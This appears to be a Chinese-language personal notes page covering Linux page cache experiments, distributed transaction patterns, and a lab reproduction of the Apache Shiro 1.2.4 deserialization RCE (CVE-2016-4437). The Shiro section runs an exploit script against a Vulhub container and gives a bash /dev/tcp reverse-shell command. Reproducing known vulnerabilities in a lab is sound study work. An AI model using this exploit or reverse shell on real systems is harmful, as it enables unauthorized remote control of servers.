Linux Page Cache(草稿)

参考 SRE deep dive into Linux Page Cachemm/workingset.cio_uring

环境准备

安装依赖,下载内核源码,编译、安装 page-types 工具,生成测试数据文件,同步、清空缓存。

1
$ sudo apt install git build-essential golang vmtouch
1
2
$ uname -r
6.2.0-36-generic
1
2
3
4
5
6
7
$ mkdir kernel
$ cd kernel
$ wget https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/snapshot/linux-6.2.tar.gz
$ tar -xzf linux-6.2.tar.gz
$ cd linux-6.2/tools/vm
$ make
$ sudo make install
1
$ dd if=/dev/random of=/var/tmp/file1.db count=128 bs=1M
1
$ sync; echo 3 | sudo tee /proc/sys/vm/drop_caches

基本概念

基本操作

File reads

使用 Python 代码从文件读取 2B 数据,发现实际会读取 16 KB 的数据到缓存,操作系统会预读多个页面。使用 posix_fadvise() 提示内核,文件是随机访问的,此时内核不会使用预读优化。实测使用 mmap 系统调用,将文件映射到进程的虚拟内存,依然读取 2B 数据,此时内核预读 32 页而不是 read 系统调用的 4 页。

1
2
with open("/var/tmp/file1.db", "br") as f:
print(f.read(2))
1
2
3
4
5
6
$ strace -s0 python3 ./read_2_bytes.py
...
openat(AT_FDCWD, "/var/tmp/file1.db", O_RDONLY|O_CLOEXEC) = 3
...
read(3, ""..., 4096) = 4096
...
1
2
3
4
5
$ vmtouch /var/tmp/file1.db
Files: 1
Directories: 0
Resident Pages: 4/32768 16K/128M 0.0122%
Elapsed: 0.001331 seconds
1
2
3
4
5
6
import os

with open("/var/tmp/file1.db", "br") as f:
fd = f.fileno()
os.posix_fadvise(fd, 0, os.fstat(fd).st_size, os.POSIX_FADV_RANDOM)
print(f.read(2))
1
$ echo 3 | sudo tee /proc/sys/vm/drop_caches && python3 ./read_2_random.py
1
2
3
4
5
$ vmtouch /var/tmp/file1.db
Files: 1
Directories: 0
Resident Pages: 1/32768 4K/128M 0.00305%
Elapsed: 0.001301 seconds

File writes

更新文件的前 2B,发现内核读取 1 页数据到缓存。如果及时查看当前 cgroup 的脏页大小,会发现有 4KB 的数据还未刷盘。也可以使用 cat /proc/meminfo | grep Dirty 查看整个系统中的脏页大小,但是很难利用该信息。

1
2
with open("/var/tmp/file1.db", "br+") as f:
print(f.write(b"ab"))
1
$ sync; echo 3 | sudo tee /proc/sys/vm/drop_caches && python3 ./write_2_bytes.py
1
2
3
4
5
$ vmtouch /var/tmp/file1.db
Files: 1
Directories: 0
Resident Pages: 1/32768 4K/128M 0.00305%
Elapsed: 0.001764 seconds
1
2
3
4
$ cat /proc/self/cgroup
0::/user.slice/user-1000.slice/user@1000.service/app.slice/app-org.gnome.Terminal.slice/vte-spawn-7fe5140d-9b95-4aff-9979-de88b1c42b94.scope
$ grep dirty /sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/app.slice/app-org.gnome.Terminal.slice/vte-spawn-7fe5140d-9b95-4aff-9979-de88b1c42b94.scope/memory.stat
file_dirty 4096
1
2
3
4
5
6
7
8
$ sudo page-types -f /var/tmp/file1.db -b dirty
/var/tmp/file1.db Inode: 402310 Size: 134217728 (32768 pages)
Modify: Mon Oct 13 19:35:25 2025 (2 seconds ago)
Access: Mon Oct 13 18:21:11 2025 (4456 seconds ago)

flags page-count MB symbolic-flags long-symbolic-flags
0x0000000000000038 1 0 ___UDl_______________________________________ uptodate,dirty,lru
total 1 0

缓存淘汰

每个 cgroup 都有一对活跃和非活跃列表,一对用于匿名页面,另一对用于文件页面。简单来说,发生缺页的页面被插入到非活跃列表,在非活跃列表被多次访问的页面升级到活跃列表。使用 LRU 算法结合 referenced 标志,控制页面的升级、降级和淘汰。referenced 被置位的页面,相当于在降级/淘汰时可以复活到当前列表的头部。此外,页缓存还会利用 shadow entry 计算 refault distance,从而减少非活跃列表空间不足导致的内存抖动问题。如果系统有 NUMA 节点,则会为每个节点维护列表,以减少锁竞争。

复现 Apache Shiro 1.2.4 反序列化漏洞

参考 Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437)shiro-1.2.4-rce学习Shiro 1.2.4反序列化漏洞(CVE-2016-4437)Insecure deserialization

原理

Shiro 提供 rememberMe 功能,如果在登录时选择记住,则服务器会返回 Shiro 生成的 rememberMe Cookie,该 Cookie 存储使用 AES 加密和 Base64 编码处理过的序列化对象(包含用户信息)。在 Shiro <= 1.2.4 的版本中,密钥被硬编码在框架源码中,且没有限制反序列化的类型。攻击者可以利用密钥构造恶意的 Cookie,让服务器在反序列化时执行指定的命令(通过调用 Runtime.getRuntime().exec(xxx) 方法)。解决方案,不使用默认密钥,设置反序列化类型白名单。

复现

直接使用 Vulhub 提供的漏洞环境,使用以下命令启动 Docker 容器。对应的镜像不在 public-image-mirror 的白名单中,我们使用镜像加速里面的其它镜像源。

1
2
3
git clone --depth 1 https://github.com/vulhub/vulhub
cd vulhub/shiro/CVE-2016-4437
docker compose up -d

使用 ip addr 命令查到虚拟机 ip 地址为 192.168.2.9,然后通过 http://192.168.2.9:8080 访问虚拟机上运行的 Web 服务,默认的用户名和密码是 admin:vulhub

使用 shiro-1.2.4-rce 检测漏洞,执行以下命令,报错 ModuleNotFoundError: No module named 'Crypto',使用 pip3 install pycryptodome 安装依赖解决。检测到漏洞之后,输入目标系统类型为 linux。

1
python3 shiro-1.2.4_rce.py http://192.168.2.9:8080

在其他终端使用 nc -lvp 7777 命令监听本机端口(未被占用),然后在原终端输入希望利用反序列化漏洞在目标服务器上执行的命令。我们使用以下命令反弹 Shell,其中的 192.168.2.4 是本机 ip,7777 是刚才监听的端口。该命令的作用是让目标服务器主动向本机建立连接,目标服务器的标准输入、标准输出和标准错误都重定向到本机指定端口。执行 ls 命令可以看到目标服务器返回的输出,成功复现漏洞。

1
bash -i >&/dev/tcp/192.168.2.4/7777 0>&1

最后可以使用以下命令清理环境。

1
docker compose down -v

分布式事务

参考 2PC3PCOracle Transaction ManagerSeata Transaction ModeSeata Blog(重要)。

没有时间细看各个资料和实现,以下内容掺杂个人理解,不保证正确性。 各个方案实际上就是在强一致性和可用性之间做权衡,一般保证可用性会选择最终一致性。

2PC & 3PC & XA & AT

两阶段提交分为准备和提交/回滚阶段:① 协调者向参与者发送准备请求,参与者执行操作并持久化状态,然后回复同意/拒绝。如果准备请求超时,由于某个参与者网络分区或崩溃,则协调者会直接决定中止事务。② 协调者根据参与者的回复决定提交/中止事务,只有当所有参与者都回复同意才会决定提交。协调者会将决定持久化,然后发送提交/中止请求。③ 参与者执行提交/回滚,然后回复确认。在协调者收到所有参与者的确认之后,此时可以响应客户端。否则,协调者会一直重试请求,直到参与者确认。

存在的问题:当参与者回复同意/拒绝之后,必须等待协调者做出决定,才能真正提交/回滚本地事务,期间会一直持有数据库锁。当协调者做出决定之后,必须等待所有参与者执行完成,才能响应客户端。不论是协调者还是参与者崩溃,都会阻塞整个事务。不过,某个参与者崩溃不会阻塞其他参与者的本地事务(要么提交要么回滚),由于有准备请求有超时中止机制。而协调者崩溃会阻塞所有参与者的本地事务。实际上,协调者可以使用共识算法实现容错,避免单点故障。

三阶段提交有 CanCommit、PreCommit 和 DoCommit 阶段。CanCommit 阶段只是询问参与者是否可以执行事务,而不会执行操作锁定资源,这样可以提前发现事务无法执行,避免无效的资源锁定。在 PreCommit 阶段,如果参与者回复同意,且在超时时间内没有收到协调器的提交/中止请求,则该参与者会主动提交事务(有不一致的风险)。3PC 不保证强一致性,而且相比 2PC 有额外的网络往返开销。

XA 是异构环境下实现 2PC 的工业标准,规定事务协调者和参与者通信的 API,其中异构是指参与者由不同数据库或消息队列组成。Seata 的 AT 模式从 2PC 演化而来,在准备阶段本地事务会直接提交,只不过在提交之前需要获取相关记录的全局锁,而且本地事务需要维护回滚日志表。协调器提交事务时,会让参与者异步批量删除回滚日志。回滚时参与者会根据全局和分支事务 ID 找到对应回滚日志,将日志中的后镜像数据和当前数据进行比较,根据配置的策略进行处理。AT 模式因为有全局锁,不存在脏写问题,不过默认的隔离级别是读未提交,因为读取默认不会获取全局锁,个人认为这也是它性能比 2PC 更好的原因(或许还有其他原因)。

Sega & TCC

基本概念:应用程序 AP,事务管理器 TM,资源管理器 RM,事务协调者 TC。Saga 模式没有 TCC 模式的预留操作,参与者会直接执行本地事务转移资源,存在脏写导致无法回滚的风险。例如转账场景,A 向 B 转账,如果 B 的余额增加之后,A 扣款失败,需要回滚 B 的余额,而 B 已经使用完该余额,则无法完成回滚(或者说无法完成补偿)。

TCC 表示 Try-Confirm/Cancel,有尝试阶段和确认/取消阶段。协调者请求参与者预留资源(将资源转移到中间表),如果所有资源都预留成功,则确认所有预留,否则取消所有预留。因为请求超时会重试请求,所以需要保证预留、确认和取消操作的幂等性。该方案依赖业务层实现预留、确认和取消操作,这些操作都是单独的本地事务,不存在长期持有数据库锁的问题。

操作的幂等性可以通过在数据库中维护分支事务状态表,使用全局事务 ID + 分支事务 ID 去重来实现。分支事务状态表应该存储在本地,因为要保证操作和事务状态更新的原子性,利用本地事务可以做到。不过协调者也要维护全局事务状态表,从而根据事务状态决定执行预留、确认还是取消操作。(或者有其他方案)

如果协调者请求参与者预留资源超时且重试次数耗尽,则会直接中止事务,取消所有预留的资源。如果没有预留资源的参与者收到取消预留的请求,则不会执行任何操作而是直接返回成功(空回滚)。协调者可以使用共识算法容错,根据全局事务的状态,决定预留资源或者确认/取消分支事务预留的资源。如果参与者在收到取消预留请求之后收到预留资源的请求,则会发生资源悬挂的问题。参与者在预留之前会检查该事务是否发生空回滚,如果发生则拒绝本次预留请求。

本地消息表 & 事务消息

分布式事务的问题在于,事务发起者执行本地事务之后,无法保证其他参与者的本地事务也能够执行成功。以转账为例,A 向 B 转账,A 本地执行扣款之后,向 B 发送转账请求,A 无法保证 B 执行成功,存在不一致的风险。之前的 2PC 方案是通过数据库协调来保证事务的原子性,TCC 方案是通过业务层面的设计保证全局事务的原子性。

另一种方案就是,事务发起者将待发送的请求存储到本地消息表中,和业务操作放在同一个事务中执行。然后使用定时任务定期扫描本地消息表,将待发送的消息发送给消息队列,如果发送成功则从表中删除该消息记录(或者修改状态为已发送)。事务参与者监听消息队列,拉取消息执行本地事务,然后向消息队列回复确认消费。

由于本地事务具有原子性,事务发起者可以保证业务操作执行成功时,请求消息也被记录到本地消息表。定期扫描会保证消息最终会被发送到消息队列,消息队列可以保证消息至少被消费一次,最后消费者需要再业务层面保证消费的幂等性,例如使用唯一 ID 在数据库层面去重。

注意,Kafka 保证内部的精确一次消息传递,但涉及到外部数据库就只能保证至少一次。如果需要精确一次,可以利用业务层面的幂等性做去重,也可以使用 2PC。或者利用本地事务的原子性,将日志偏移量和业务数据同时存储到数据库,然后消费者重启时读取偏移量来保证不重复消费(其实就是本地消息表方案)。

可以使用 RocketMQ 的事务消息功能实现类似本地消息表的方案。事务发起者首先向消息队列发送半消息,该消息对消费者不可见。然后发起者执行本地事务(执行业务操作 + 维护事务状态),根据本地事务的执行结果向消息队列发送提交/回滚请求,如果提交则消费者可以消费相应消息。如果发起者长时间未提交/回滚事务消息,消息队列会调用发起者提供的回查接口来查询事务状态。超时回查机制类似本地消息表的定时任务机制,目的都是保证最终一致性。事务消息方案依然需要发起者维护事务状态表,只是不需要自己使用定时任务扫描来重试请求,而是将扫描的工作交给消息队列。

不论本地消息表还是事务消息方案,如果参与者无法消费消息直到重试次数耗尽,则需要设计额外的回滚机制或者人工干预。而且和 Saga 策略类似,由于不会预留资源,存在脏写导致无法回滚的问题。这需要业务流程上做设计,保证能够通过人工干预完成事务,或者不断重试直到成功。